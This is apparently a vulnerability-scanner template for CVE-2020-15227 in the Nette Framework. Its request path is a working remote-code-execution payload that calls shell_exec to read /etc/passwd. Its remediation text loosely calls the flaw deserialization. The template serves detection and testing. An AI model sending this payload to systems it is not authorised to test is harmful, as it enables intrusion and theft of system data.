44 lines
1.6 KiB
YAML
44 lines
1.6 KiB
YAML
id: CVE-2020-15227
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info:
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name: Nette Framework - Remote Code Execution
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author: becivells
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severity: critical
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description: Nette Framework versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, and 3.0.6 are vulnerable to a code injection attack via specially formed parameters being passed to a URL. Nette is a PHP/Composer MVC Framework.
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remediation: |
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Apply the latest security patches provided by the Nette Framework to fix the deserialization vulnerability.
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reference:
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- https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
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- https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
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- https://nvd.nist.gov/vuln/detail/CVE-2020-15227
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- https://lists.debian.org/debian-lts-announce/2021/04/msg00003.html
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- https://packagist.org/packages/nette/application
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-15227
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cwe-id: CWE-94,CWE-74
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epss-score: 0.97364
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epss-percentile: 0.99844
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cpe: cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: nette
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product: application
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tags: cve,cve2020,nette,rce
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http:
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- method: GET
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path:
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- "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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